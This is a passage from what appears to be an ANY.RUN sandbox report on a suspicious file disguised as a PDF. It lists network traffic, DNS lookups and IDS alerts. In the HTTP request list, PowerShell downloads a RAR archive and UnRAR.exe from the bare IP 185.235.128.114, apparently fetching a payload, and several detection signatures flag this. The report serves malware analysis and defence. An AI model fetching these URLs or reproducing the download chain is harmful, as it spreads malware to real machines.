BASE_64
unknown
—
—
—
—
—
GET
304
52.149.20.212:443
https://slscr.update.microsoft.com/SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.4046/0?CH=686&L=en-US&P=&PT=0x30&WUA=10.0.19041.3996&MK=DELL&MD=DELL
unknown
—
—
—
1852
powershell.exe
GET
200
185.235.128.114:80
http://185.235.128.114/js/3plpie.rar
unknown
—
—
unknown
1852
powershell.exe
GET
200
185.235.128.114:80
http://185.235.128.114/css/UnRAR.exe
unknown
—
—
unknown
3896
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
3896
SIHClient.exe
GET
200
23.48.23.135:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
3896
SIHClient.exe
GET
200
23.48.23.135:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
976
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2112
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
40.126.32.140:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.110
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 40.126.32.140
  • 20.190.160.3
  • 20.190.160.14
  • 20.190.160.131
  • 40.126.32.76
  • 40.126.32.133
  • 20.190.160.128
  • 20.190.160.4
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 51.124.78.146
whitelisted
geo2.adobe.com
  • 23.213.164.167
whitelisted
p13n.adobe.io
  • 54.144.73.197
  • 34.193.227.236
  • 18.207.85.246
  • 107.22.247.231
whitelisted
slscr.update.microsoft.com
  • 52.149.20.212
whitelisted
crl.microsoft.com
  • 23.48.23.135
  • 23.48.23.146
  • 23.48.23.147
  • 23.48.23.138
  • 23.48.23.132
  • 23.48.23.144
  • 23.48.23.151
  • 23.48.23.134
  • 23.48.23.148
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
1852
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
1852
powershell.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host RAR Request
1852
powershell.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
1852
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
1852
powershell.exe
Misc activity
ET INFO Request for EXE via Powershell
1852
powershell.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
1852
powershell.exe
Potential Corporate Privacy Violation
ET INFO PE EXE or DLL Windows file download HTTP
5360
powershell.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host PDF Request
5360
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5360
powershell.exe
Misc activity
ET INFO Request for PDF via PowerShell
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
3.PL_PIEC001-L20250227-GLOBAL_ATOP.pdf.msc